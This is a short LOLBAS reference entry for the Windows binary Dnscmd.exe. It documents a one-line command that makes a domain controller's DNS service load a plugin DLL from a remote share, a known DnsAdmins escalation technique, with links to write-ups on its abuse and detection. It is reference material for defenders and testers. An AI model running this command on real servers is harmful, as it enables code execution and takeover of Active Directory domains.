LOLBAS/OSBinaries/Dnscmd.md

Dnscmd.exe

• Functions: Execute

dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\192.168.0.149\dll\wtf.dll

Acknowledgements:

• Shay Ber - ?
• Dimitrios Slamaris - @dim0x69
• Nikhil SamratAshok Mittal - @nikhil_mitt

Code sample: *

Resources:

• https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83
• https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html
• https://github.com/dim0x69/dns-exe-persistance/tree/master/dns-plugindll-vcpp
• https://twitter.com/Hexacorn/status/994000792628719618
• http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html

Full path:

c:\windows\system32\Dnscmd.exe
c:\windows\sysWOW64\Dnscmd.exe

Notes: Used on Windows servers for DNS management

Detection: